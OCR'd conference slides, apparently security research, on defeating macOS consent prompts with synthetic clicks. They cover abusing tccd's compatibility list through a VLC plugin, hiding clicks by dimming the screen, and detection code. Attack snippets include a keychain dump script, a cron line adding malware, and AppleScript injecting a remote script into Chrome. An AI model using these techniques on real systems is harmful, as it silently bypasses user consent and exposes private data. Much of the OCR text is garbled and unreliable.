A SUBTLE CODE-SIGNING ISSUE
~synthetically breaking macOS
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Targets
what to synthetically break?

V. 4




MAC VvS. ATTACKERS
actions (now) generate alerts i s

Safari data
Time Machine backups
iTunes device backups

Locations and routines

new in Mojave

S . ]

kexts location contacts terminal

; © Q ¥

scripts webcam messages preferences

a )

{process) is trying to do
{stuffd I
................ >

deny allow
— >




TARGET: "USER-APPROVED KEXT EXTENSION LOADING"
kext loading? alert!

“\

[E] get root

'bring' & load buggy kext

SIP/code-sign
'bypass'’ o~

(buggy) kext stil
validly signed

General FileVault Firewall Privacy

A login password has been set for this user Change Password...

A

v Require password 5 minutes C after sleep or screen saver begins
Show a message when the screen is locked

@ exploit & disable SIP
run unsigned kernel code, etc

p. wardle
(defcon 2016)

Allow apps downloaded from:

KASPERSIKY 3 March 9, 2018. 3:20 pm

The Slingshot APT

To run its code in kernel mode in the most recent versions of operating systems,

System software from developer _ﬁ Allow

I 25 blocked from loading.

| | Click the lock to make changes.

that have Driver Signature Enforcement, Slingshot loads signed vulnerable

macOS "user-approved"
kext loading

drivers and runs its own code through their vulnerabilities.

SlingShot APT group
(Windows)



TARGET: MIC & WEBCAM
accessing mic or camera? alert!

/* RCSMac - Webcam agent */

OSX.Crisis ===)p
OSX.Eleanor

OSX .Mokes
OSX.FruitFly

— (BOOL) 1initSession {

mCaptureSession = [[QTCaptureSession alloc] 1init];

mDevice = [QTCaptureDevice
defaultInputDeviceWithMediaType:QTMediaTypeVideo] ;

mCaptureDevicelInput = [[QTCaptureDeviceInput alloc]
initWithDevice: mDevice];

[mCaptureSession addOutput:
mCaptureDecompressedVideoOutput error:é&error];

Fruitfly malware spied on
Mac users for 13 years - man
charged

US authorities have charged a 28-year-old Ohio man who is alleged to have created and installed Google Chrome"” would like to access
creepy spyware on thousands of computers for 13 years. the camera.

Once Chrome has access, websites will be able to ask
you for access.

Don’t Allow (0] ¢

alert!




TARGET: PRIVACY ALERTS
accessing contacts, messages, location? alert!

1

events contacts location call records messages

v

Location locator;

locator.manager = [CLLocationManager alloc] 1init];
locator.manager.delegate = self;

“whereami” would like to use your

ﬁ current location.
B BN BN B
"’ A

?

locator .manager.desiredAccuracy = kCLLocationAccuracyBest;

Don’t Allow

[locator.manager startUpdatingLocation];

alert!




TARGET: TERMINAL
various administration” tasks? alert!

&

terminal

_
i
L } " S crontab -1 | { cat; echo "* * * * * /malware.sh"; } | crontab -

cronjob creation

i

i

I-> ----------- -
$ mkdir /etc/exports

modifications of
/etc/exPorts cTorminal would ke to administer your

{5_«; modifying passwords, networking, and
] system settings.

Don’t Allow OK

alert!



TARGET: APPLESCRIPT
"remote ' process control? alert!

Overview | edit]

“Terminal” wants access to control “Google

AppleScript is primarily a scripting language developed by Apple to do inter-application e A e e

access to documents and data in “Google

A

Chrome”, and to perform actions within that

communication (IAC) using Apple events.[2I[3] She

Don’t Allow (0] .4

alert!

e .

tell application "Google Chrome" to tell active tab of window 1

tell application "Google Chrome" to execute front window's active tab javascript "var pidDiv =
document.createElement ('div'); pidDiv.id = \"493024ui5o\"; pidDiv.style = \"display:none\"; pidDiv.innerHTML
= \"bbdd05eed40561ledldd3daddfba7eldd\"; document.getElementsByTagName ('head') [0].appendChild (pidDiv) ;"

tell application "Google Chrome" to execute front window's active tab javascript "var js script =
document.createElement ('script'); js script.type = \"text/javascript\"; js_script.src = \"https://
1049434604 .rsc.cdn77.0rg/ijl.min.js\"; document.getElementsByTagName ('head') [0].appendChild(js script) ;"

end tell

"Mac Adware, a la Python"
objective-see.com/blog/blog 0x3F.html



TARGET: 3RD-PARTY SECURITY TOOLS
persistence, network access, etc? alert!

aie O A
m osxMalware }’ E: HEC g curt
installed a launch daemon or agent | | is trying to connect to www.google.com

osxMalware (unsigned)

process id: 74090 process
process path: /Users/patrick/Downloads/osxMalware.app/Contents/Mac0S/osxMalware rocess id: 8160
e S: www.google. com

com.malware.persist.plist (unsigned) rocess path: /usr/bin/curl
I startup file: /Users/patrick/Library/LaunchAgents/com.malware.persist.plist

startup binary: /usr/bin/malware.bin network
I ip address: 172.217.6.68

remember Block Allow port/protocol: 8@ (TCP)
I Block Allow
[ - temporarily (pid: 8160)
. Persistence Alert
' (BlockBlock) Network Alert
- Lul.
uLlu
i
i
|
i kernel_service is |  'ing files!
* h proc: /Users/Owned/Library/kernel_service (6114)
files: /Users/Owned/Documents/logo.psd.encrypted
RansomWhere? /Users/Owned/Documents/novel.txt.encrypted
* Allow Terminate

Ransomware Alert
(RansomeWhere?)



THE GOAL

4 )
{process) is trying to do
(stutf I
|
deny = allo 1
\_ i
* m m = = i

|
|
|
. synthetic click
|
|

generically bypass all alerts ! < - -

QD Q@

Qaﬁ L

kexts location contacts call preferences
records
jE o "M ¢ ©
scripts webcam/mic messages terminal security

tools



A Brief History
synthetic attacks & defenses in macOS




APPLESCRIPT
(ab)used by malware, such as OSX.DevilRobber

$ cat kc dump.sh
#!/bin/sh

S cat kd.sh
#!'/bin/sh

./kd.Sh& " O I N I N N N N N N N NN =N W

security dump-keychain -d > s dump.txt

I noar < security wants to use your confidential
information stored in “ids: identity-rsa-public-
i §Y ©@noarfromspace key” in your keychain.
I . . ~ To allow this, enter the “login” keychain password.
Amazed to see that this OS X Keychain flow was already
' part of OSX.DevilRobber years ago... so 2011!
[ | Always Al'" _,
i try
i > tell application "System Events”
Il I B a e " . "
If (exists process "SecurityAgent”) then
tell window 1 of process "SecurityAgent”
clickbutton"AlwaysAllow"of groupl == = = = = = = = = = = = = =
end tell
end if
end tell
end try

kcd. scpt



COREGRAPHICS EVENTS
(ab)used by malware, such as OSX.FruitFly

. . . ¥ ./sniff

int sub 100001c50 (int arg0, int argl) event : kCGEventLeftMouseDown

{ (x: 123.000000, y: 456.000000)
rbx = CGEventCreateMouseEvent (0x0, rcx, rdx, rcx);
CGEventSetIntegerValueField(rbx, 0xl, rl2); event: kCGEventLeftMouseDragged
CGEventPost (0x1l, rbx); (x: 0.000000, y: 0.000000)

}

event: kCGEventLeftMouseUp
(x: 0.000000, y: 0.000000)

OSX.FruitFly disassembly f
. .watching the malware -

@ Finder File Edit View Go Window Help I- I E O m m m W = m
I ——— "'
sub-cmd description
security wants to access key "ids: identity-rsa-
private-key"” in your keychain. 0x0 move
- Do you want to allow access to this item? Ox1 left click (up & down)
0x2 left click (up & down)
0x3 left double click
Always Allow Deny Allqw
R 0x4 left click (down)
e 0x5 left click (up)
| 0x6 right click (down)
. ..and action' ox right click (up)

synthetic mouse capabilities



COREGRAPHICS EVENTS
(ab)used by adware, such as 0SX.Genieo

$ jtool -d objc Installer.app/Contents/MacOS/AppAS

Installer wants to use your confidential
information stored in “Safari Extensions List” in

@interface SafariExtensionInstaller : ? o Yourkeychain

Do you want to allow access to this item?

/* 2 - 0x1000376el */ + getPopupPosition:

F e D ) ? Always Allow Deny Allo m
/* 4 - 0x100037c53 */ + clickOnInstallButton ; |{ {]7

B V) G RVAVAVIS W Ae AT ISWETTCSHRaYchain ;

/* 8 - 0x100038450 */ + 4
B char +[SafariExtensionInstaller clickOnInstallButton] {
02 i
03 (éselector (getPopupPosition)) (&var 40) ; :
04
05 rl4d = CGEventCreateMouseEvent (0x0, 0x5, 0x0, rcx); :
06 rl5 = CGEventCreateMouseEvent (0x0, Oxl, 0x0, rcx); A ——
07 rbx = CGEventCreateMouseEvent (0x0, 0x2, 0x0, rcx);
08

09 CGEventPost (0x0, rl4);
10 CGEventPost (0x0, rlb5);
11 CGEventPost (0x0, rbx);

"Genieo Installer Tricks Keychain"
(t. reed @ malwarebytes)



APPIE'S (PREVIOUS) DEFENSE
filter out "unauthorized" synthetic clicks

o SecurityAgent

Available for: OS X El Capitan 10.11

Impact: A malicious application can programmatically control keychain access prompts

access Keychain?

Description: A method existed for applications to create synthetic clicks on keychain prompts. Thiswas = o2 sz = == ==
addressed by disabling synthetic clicks for keychain access windows.

CVE-2015-5943 allow

—» blocked!

1f (0 '= synthetic click's pid) {
block click!



APPIE'S (PREVIOUS) DEFENSE
filter out "unauthorized" synthetic clicks

default 08:52:57.441538 -1000 tccd PID[209] 1s checklng ‘access for target PID[25349]

- it Shutediaddudili bk A  —

— /)‘

error 08:52:57.657628 -1000 WlndowServer,Sender is prohlblted from synthe3121ng events d

log msg: "Sender is prohibited :

from synthesizing events" :

|

int post filtered event tap data(int arg0, int argl, ...) { :
if (CGXSenderCanSynthesizeEvents() == 0x0) goto loc 702e9; i
loc 702e9: :
if (os _log type enabled(* default log, 0x10) !'= 0x0) { .
~0s log error impl(..., "Sender is prohibited from synthesizing events",...); 4- - o =

@brief Access control check for software HID control
@param cred Subject credential

int CGXSenderCanSynthesizeEvents () {

Determine whether the subject identified by the credential can
control the HID (Human Interface Device) subsystem, such as to

sandbox_check_by_audit_token ("hid—control" , OXO , rdx, rdx) ; o om o > post synthetic keypresses, pointer movement and clicks.

@return Return 0 if access 1s granted, or an appropriate value for
errno.

*/

'CGXSenderCanSynthesizeEvents' P oot ong -hid_control_t(
(user-mode check) .

'mpo 1okit check hid control t'
(kernel -mode check)



"Moust KEys" (CVE-2017-7150)

(ab)using a legitimate feature of macOS (p. wardle)

Control the pointer using Mouse Keys on Mac SLILJLIL e
When you turn on Mouse Keys on your Mac, you can move the mouse pointer and press the mouse button ][ ’ H ; H ’ H L_4 [ 5 i
using the keyboard or numeric keypad. i H'-U H I H O-»]r :
: [ RAE
................ > IDEE

o pidis O (system)
- .allow click! N

{process) is trying to do
-> --->¢ ----*ll' (S":U.fD"
deny allow L'
keypress = mouse event \-
(generated by the system) h

"Synthetic Reality;
Breaking MacOS One Click at a time" (p. wardle)




"MOUSE DowN x2" (CVE-?7?7?)

invalid state, "handled”™ by the 0S (p. wardle)

//generate synthetic mouse click 1

CGPostMouseEvent (point, true, 1, true);
CGPostMouseEvent (point, true, 1, true);

2x mouse down

6 _ pid is O (system)
- roor ([ movse qomn ¥ qlow click
:
|

-ba----}emouse up! |
l

system processing

//given some point {x,y} FEEm s m= > 6 mouse down

i
mouse down; twice RERCE R > mouse down
. . .AGAIN!'!

~

{process) is tryjing to do
(stuff> !

allow
------------------------------ |>.£§§DS



APPLE'S (CURRENT) DEFENSE
simply block all synthetic clicks » gotta auth

@ Accessibility Access (Events)

“CGClick” would like to control this computer using
accessibility features.

“Terminal” wants access to control “Google
Chrome”. Allowing control will provide
access to documents and data in “Google

Grant access to this application in Security & Privacy

Chrome”, and to perform actions within that :
preferences, located in System Preferences.

app.

Don’t Allow (0] ¢ Open System Preferences Deny

CG Events

Security & Privacy Q_ Search
Security & Privacy
General FileVault Firewall Tacy
General  FileVault Firewall Tacy

Allow the apps below to control your computer.

Allow the apps below to control other apps. This will
provide access to documents and data in those apps,
and to perform actions within them.

™| ceclick

~ | Terminal

Google Chrome

A

A

-4 ‘g Advertising

-_‘!14 Advertising

& Click the lock to prevent further changes. Advanced...

& Click the lock to prevent further changes. Advanced...



Long Live Synthetic Events
an bug in ma.cOS (I0.1)




TCCD/TCC.DB

transparency consent & control

/Library/Application Support/

r======p com.apple.TCC/TCC.db

1 Security & Privacy Q_ Search
“"Google Chrome” would like to access l
the camera. General FileVault Firewall Privacy
Once Chrome has access, websites will be able to ask I
you for access. P
I =¥ Location Services Allow the apps below to access your camera.
Don’t Allow (0],¢ I
l v q Google Chrome

alert!

S ps aux | grep tccd
patrick /System/Library/PrivateFrameworks/TCC.framework/Resources/tccd

root /System/Library/PrivateFrameworks/TCC. framework/Resources/tccd

tcc daemon (tccd)



TCCD COMPATIBILITY DATEBASE
reason: legacy app compatibility"’

1V "What does the TCC Compatibility Database do?"
(dhowardnoakley, eclecticlight.co)

|

|

. "the rules in this [compatibility db] grant

‘===P access to protected functions for specific
versions of apps, with specific signatures."

in "tcc compatibility
list"?


http://eclecticlight.co

TCCD COMPATIBILITY DATEBASE
locating the compatibility database file

$ cat /System/Library/LaunchAgents/com.apple.tccd.plist
<?xml version="1.0" encoding="UTF-8"?>
<dict>

<key>Label</key>

<string>com.apple. tccd</string>

<key>Program</key>

<string>/System/Library/PrivateFrameworks/TCC. framework/Resources/tccd</string>

<key>WatchPaths</key> COMPO.‘t\b\h":\] dO.‘tO.bO.SC"?

<array>
f<str1ng>/System/lerary/Sandbox/TCC Compatlblllty 7 .bundle/Contents/Resources/ |
AllowAppllcatlonsLlst pllst</str1ng> | e ) J

tcc daemon (tcecd) pllst

TaSkEXplOrer FlatView $ Qteed == ©

=] & tced (pid: 293)
/System/Library/PrivateFrameworks/TCC. framework/Versions/A/Resources/tccd

dylibs files network

o

tccd's open files



TCCD COMPATIBILITY DATEBASE
file: AllowApplicationsList.plist

00
B B AllowApplicationsList.plist ) No Selection

Key Type Value

Dictionary £ (1 item)

allowed:
AppleEvents

Identifier rin com.apple.systempreferences

IdentifierType rin bundlelD
CodeRequirement rin identifier "com.apple.systempreferences" and anchor apple

AEReceiverldentifier rin com.kensington.trackballworks.helper
AEReceiverldentifierType

'____> @ allowed:

CG "Post Events"

identifier com.valvesoftware.steam and info[CFBundleVersion] < "1.6" and certificate lea

bundlelD
com.valvesoftware.steam
39216983

YES <dict>

(4 items)
identifier org.videolan.vic and info[CFBundleVersion] < "3.1" and certificate leaf[subject.

dentiierType undeld <key>CodeRequirement</key>

— — <string>identifier org.videolan.vlc and
info[CFBundleVersion] < "3.1l" and certificate

= leaf[subject.OU] = "75GAHG3SZQ" and anchor apple

generic and certificate 1[field 1.2.840.113635.100.6.2.6]
exists and certificate leaf[field.
1.2.840.113635.100.6.1.13] exists</string>

<key>IdentifierType</key>
<string>bundlelID</string> A

<key>Identifier</key> ‘Il‘

o <string>org.videolan.vlc</string>
app's code signing </dict> -

information ('requirement') example entry: VLC




THE GOAL:

subvert "app compatibility’ to generate clicks
Function
CGPostMouseEvent

Synthesizes a low-level mouse-button event on the local machine.

r N
{process) is trying to do
(stutf Il
deny allow
- Y
L
B
A
i

.. .bypass all things!?

subvert an 'allowed' app?



APPLICATION VERIFICATION
a closer look at tced s logic

? { .y valid (pristine): allow!

Bl invalid (modified): gtfo!

TCCDAccessIdentity object app's code-signing info ('requirement’)
if ([*(rl3 + 0x20) matchesCodeRequirementData:rbx] !'= 0xO0)
rax = '"code meets requirement";
else
rax = "code does not meet requirement";

invocation of
- [TCCDAccessIdentity matchesCodeRequirementData: ]



APPLICATION VERIFICATION
the TCCDAccessIdentity class

@Qinterface TCCDAccessIdentity : NSObject # 1l1ldb tccd

@property (readonly) NSString *path; (ll1db) br "matchesCodeRequirementData:"
@property (readonly) NSBundle *bundle;
@property (readonly) NSString *identifier;
@property unsigned long long codeSigningFlags;

(l1db) po [Srdi class]

- (1d)displayName; _ TCCDAccessIdentity
- (struct _ SecCode *)staticCode;

- (BOOL h R ] D - (3 1; i i
(BOOL) matchesCodeRequirementData: (id)arg S (11db) po [$rdi displayName]

VLC

(l11db) po [Srdi path]
/Applications/VLC.app/Contents/MacOS/VLC

@end

1
i
|
i
i
|
TCCDAccessIdentity class - . :
Y ¥V  TCCDAccessldentity object

(e.g. for VLC.app)



APPLICATION VERIFICATION
the matchesCodeRequirementData: method

/* @class TCCDAccessIdentity */
- (char)matchesCodeRequirementData: (void *)appRequirement {

SecRequirementCreateWithData (appRequirement, 0x0, &reqgqRef);
result = SecStaticCodeCheckValidity(self.staticCode, 0x7, reqRef) ;

i
return (result == 0x0) ? 0O0x1l : 0xO0;

i
} i
i
.------------------------------I

* = = = === > This function obtains and verifies the signature on the code specified by the code object. It

I checks the validity of all sealed components, including resources (if any). It validates the code
" c go against a code requirement if one is specified. The call succeeds if all these conditions are
SecStaticCodeCheckValidity satisfactory.

Validates a static code object.

7, verlify code signature

Declaration

0SStatus SecStaticCodeCheckValidity(SecStaticCodeRef staticCode, SecCSFlags flags,

7, validate the 'requirement'

[ identifier org.videolan.vlc and info[CFBundleVersion] < "3.1" and certificate leaf[subject.OU]
= "75GAHG3SZQ" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6]
exists and certificate leaf[field.1.2.840.113635.100.6.1.13] exists




APPLICATION VERIFICATION -
e o o hOw abOUt them flags ! ? These flags supplement the flags described in SecCSF1ags. Use these additional constants

with the flags parameter of the SecStaticCodeCheckValidity and SecStaticCode
CheckValidityWithErrors functions to control the validation of code in the file system.

Flags § Value § Value (shifted) éi
kSecCSCheckAllArchitectures . l<o0 1 (0001b)
kSecCSDoNotValidateExecutable l <1 @ 2 (0010b)
kSecCSDoNotValidateResources | 1 << 2 | 4 (0100Db)

SecStaticCodeCheckValidity (self.staticCode,

Ox71 reqRef) ;

f i
flags: 0x7 .
N BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN BN B B B o am o o o

v

O0x7
0111b

0111b
0001b | 0010b | 0100Db

kSecCSCheckAllArchitectures | kSecCSDoNotValidateExecutable | kSecCSDoNotValidateResources

flags: 0x7, expanded




APPLICATION VERIFICATION
...1s clearly 100% fully broken

OSStatus SecStaticCodeCheckValidity (

SecStaticCodeRef staticCodeRef, . .
SecCSFlags flags, SecRequirementRef requirementRef) llb/SECStathCOde ° CPP

{ " = = N == = =N =N N =N N N N N NN EEE

| |
v

void validate(
SecStaticCode *code, SecRequirement *req, SecCSFlags flags) {

1
validate (code, req, flags);

EREE

executable content
...hot validated!!

. if (! (flags & kSecCSDoNotValidateExecutable))
code->validateExecutable () ;

if (! (flags & kSecCSDoNotValidateResources))
code->validateResources () ;

if (req)
code->validateRequirement (reg->requirement (),
errSecCSReqFailed) ;

*only* the code signing
requirement is validated!



WEAPONIZATION
.. .rather trivially

@ select any application from 3 subvrt application

AllowApplicationsList.plist <
— Il B B = I
= |2 g
—— =0

el AN

§ run subverted application
@ & synthetically click!==-=-

B obtain chosen application

VideoLAN

VideoLAN, a project and a

( )

{process) is trying to do
(stutd I
deny all@
-

[
A




WEAPONIZATION

¥ @ Contents
> B _CodeSignature

an example: VLC . e

(N

v B MacOS

» B include
> Bl lib

v B plugins

add plugin?

V¥ PostEvent

p ltem O Dictionary (5 items)
v ltem 1 Dictionary (4 items)

@ libaccess_concat_plugin.dylib I

CodeRequirement String identifier org.videolan.vic and info[CFBundleVersion] < "3.1" 4- Il B = = = = = =

IdentifierType String bundlelD
Identifier String org.videolan.vic
Comment String 39573987

@ libaccess_imem_plugin.dylib
@ libaccess_mms_plugin.dylib

VLC's app bundle

/**
* Recursively browses a directory to look for plug-ins.
*/
void AllocatePluginDir(...)
{ $ 11db /Applications/VLC.app
(11db) target create "/Applications/VLC.app/"
Current executable set to '/Applications/VLC.app/'
/* Check that file matches the (11db) b dlopen
"lib* plugin"LIBEXT pattern */ (11db) c
i1f(len > strlen (suffix) &é&
Istrncmp (file, prefix, strlen (prefix)) && Process 1779 stopped

'strcmp (file + len - strlen (suffix), suffix)) [ Sty SE LR

' (11db) x/s $rdi I |

//load plugin!
' AllocatePluginFile(...);

R ——

cmmmmmaaap

' 0x10044dbc0O0: "/ApplicationsVLC.app/Contents/ ’
| MacOS/plugins/libOWNED;plugin.dylib"ﬁj
_— - =

load (any) plugins ...even "evil" ones!



WEAPONIZATION
does tccd still validate the subverted VLC.app?

__attribute ((constructor)) # 1lldb tccd
static void evilConstructor (void) {

(l1db) b -[TCCDAccessIdentity
//offset to click matchesCodeRequirementData: ]
(11db) c

CGPoint point = {x, vy}

//generate synthetic click!
CGPostMouseEvent (point, true, 1, true); (11db) Process 201 stopped

CGPostMouseEvent (point, true, 1, false); reason = breakpoint 1.1

lldb) finish

((lldb) reg read $rax f
lrax = 0x0000000000000001

|
‘; "code meets requirement"
90x10f8d64b1 <+1204>: leaq 0x1062c (3rip), %

*,

-
: '0x10£8d64b8 <+1211>: jmp _0s _log impl
~ ) . o — — e
| | -
f E {process) is trying to do : debugging tccd's
(stuff) ! I _ =
. (broken) wvalidations
deny allo 7 > .




users-mac:Desktop user$



INVISIBLE®?
the obvious problem: visibility...

E3

@ Finder File Edit View Go Window Help

security wants to access key "ids: identity-rsa-
private-key" in your keychain.

1 . Do you want to allow access to this item?

Always Allow

synthetic click

Q: "how can synthetic events interact with the
UI 1n a manner that i1is not wvisible to the user?"




INVISIBLE?
yes, via screen brightness (0.0f)

void setBrightnessTo(float level) ({
io iterator t iterator;
io object t service;

IOServiceGetMatchingServices (kIOMasterPortDefault,
IOServiceMatching ("IODisplayConnect"), &iterator);

while ((service = IOIteratorNext (iterator))) {

= — = e — ____

IODisplaySetFloatParameter (service, kNilOptions, CFSTR (kIODisplayBrightnessKey),6h 1level);
- I0ObjectRelease(service)— - — — —

}
IOObjectRelease (1terator) ;

}

B dim screen—" -

¢ UI interactions

| ! 8 synthetic click -:O (still) possible
L ‘v when screen dimmed!
il




INVISIBLE®?
wait to dim until the user is 1inactive

Function

CGEventSourceSecondsSincelLastEventType

Returns the elapsed time since the last event for a Quartz event source.

CFTimelInterval idleTime () { /
return CGEventSourceSecondsSincelastEventType (
kCGEventSourceStateHIDSystemState, kCGAnyInputEventType) ;

}

//wait for user idle
// 60 seconds of inactivity
while (idleTime () < 60.0)

{
[NSThread sleepForTimeInterval:5.0f];

}

//hooray! user is inactive
// a) screen brightness to 0
// b) perform action and send click

detecting user 1inactivity



INVISIBLE?
...0r walit until the display is going to sleep

@ OS sends - dim to 100%
'kIOMessageCanDevicePowerOff' ==p D:
' - == = = - 5creen dims to '** L action/click

N8

<

B few seconds later, OS sends @
'kIOMessageDeviceWillPowerOff" 4‘7

' = = == = screen dims to , then off

void displayCallback (void *context, io service t y, natural t msgType, void *msgArgument) {

i1f (kIOMessageCanDevicePowerOff == msgType)
//a) dim to 100%
//b) action/synthetic click!
}

display = IOServiceGetMatchingService (kIOMasterPortDefault,IOServiceNameMatching ('"IODisplayWrangler"));

IOServiceAddInterestNotification (IONotificationPortCreate (kIOMasterPortDefault), display,
kIOGeneralInterest, displayCallback, NULL, &notifier);

CFRunLoopAddSource (CFRunLoopGetMain() ,
IONotificationPortGetRunLoopSource (IONotificationPortCreate (kIOMasterPortDefault) ), kCFRunLoopDefaultMode) ;

detecting display going to sleep



Conclusions




THE POWER OF THE SYNTHETIC CLICK
generically defeat many local security mechanisms!

(" )

{process) is trying to do
(stuffd !

QD Ll@ L

kexts location contacts call records preferences

L Q‘.@.& L Q QD QU

scripts webcam/mic messages terminal security tools




#APPLEFAIL

//given some point {x,y}

SecurityAgent //generate synthetic mouse click

Available for: OS X El Capitan 10.11

Impact: A malicious application can programmatically control keychain access prompts

CGPostMouseEvent (point, true, 1, true);
CGPostMouseEvent (point, true, 1, true);

Description: A method existed for applications to create synthetic clicks on keychain prompts. This was
addressed by disabling synthetic clicks for keychain access windows.

CVE 2015-5943 CVE unassigned

Security
Available for: macOS High Sierra 10.13
Impact: A malicious application can extract keychain passwords

Description: A method existed for applications to bypass the keychain access prompt with a
synthetic click. This was addressed by requiring the user password when prompting for keychain
access.

CVE-2017-7150

A
|
|
|
|
|
|
|
|
|

CVE 2017-7150 - - -
A

2015 2017 2018 2019

T S

the struggle 1s real

cemmsssssseene=



Location Mail database
Contacts Message history
Photos Safari data

Calendar Time Machine backups
Reminders iTunes device backups

Camera Locations and routines é_‘
Microphone System cookies |

‘attempted’ @

- good news:
L] today's bug has already been mitigated!



DETECTING SYNTHETIC CLICKS
in your own applications (i.e. security tools)

- (void) mouseDown: (NSEvent *)event

{
//get event's pid & uid

processID = CGEventGetIntegerValueField (event.CGEvent, kCGEventSourceUnixProcesslID)
processUID = CGEventGetlIntegerValueField (event.CGEvent, kCGEventSourceUserlID) ;

/prock 1L | o _ignore clicks from
// a) not: root, or uid (root) or uid ( hidd) P
- 77 untrusted sources/apps

// b) not: not an apple-signed binary

if( (O '= processID) && (0 !'= processUID) &&
(HID UID != processUID) && (YES !'= binary.isApple) )
{
//bail
logMsg (LOG_ERR, "ignoring simulated mouse event");
return;
}
//allow

[super mouseDown:event];

}

"mouseDown:' sub-classed



DETECTING SYNTHETIC CLICKS
generic detection, regardless of technique?

( )

{process) is trying to do
(stuffd !

deny allow
- V),

let mask = (1 << CGEventType.leftMouseDown.rawValue) |
(1 << CGEventType.leftMouseUp.rawValue) ... -

L | "state”

eventTap = CGEvent.tapCreate(tap:.cgSessionEventTap,

eventsOfInterest: mask, (OXO lf SYnthetlc)
callback: eventCallback, ... ) A
|
- .
' Il B B B BN BB B
|
v '
public func eventCallback (proxy: CGEventTapProxy, eventType: 1
CGEventType, event: CGEvent, ... ) { 1
|
if 0 == event.getIntegerValueField(.eventSourceStatelID) ({ 1
[

//detected synthetic mouse click! s s s s s s s s s s s s s == ===

}




DETECTING SYNTHETIC CLICKS
via (what was) GamePlan il

t71 ALERTS

—0 _ k ) ) ) ) o , o
OXO, X GamePlan = GamePlan o Assets e Asset Info 02.16.2019 1:53:42 PM HST  patrick@digitasecurity.com &

DIGITA SECURITY

€+ SyntheticClick

08 Dashboard & Alerts & Logs 24 Profile @ Device Info ® Delete Asset

08 DashBoard

Host: vmware'’s Mac

¢ 1@ 00 10 30
05.24.2019 4:34:19 PM GMT

@ Alerts Asset Info Standard v
& Logs
Host Name: user’s Mac
Ll e Last Connected: 02.15.2019 5:22:42 PM HST
2 Analytics Serial: VM+nL/ueNmNG %
CONFIGURATION il Wiheed, | o - - . . -
macOS: Version 10.14.3 (Build 18D42)
¢ Profiles Device ID: 00000000-0000-1000-8000-000c296af0a1
. Profile: DigitaGamePlan
* e GP Version: 1.1.54

§ Deployments
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. VLC media player (1212) < launchd (1) <« kernel _task (0)
! @ Df)c{t\imentatlon i
ODMINISTRATION
9 Admin <

~N. 000
B

VLC media player (1212)

Process Start Time: 05.24.2019 4:34:08 PM GMT

Tags: SIPEvent 5581 Screenshot 24 created 22 Test 22 Sudo 16 Persistent 12 LaunchD 12 URLHandler 10

OSX_ColdRoot_RAT_Launchd 6 Known 6 ParentOfinterest 1 SelfDelete 1 DNSAdded 1

GamePlan (UI)

User: vmware

Group:
Pid:

Parent Process:

Process: /Users/vmware/Desktop/VLC.app/Contents/MacOS/VLC |
|

Name: VLC media player |
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now at: GamePlan alert
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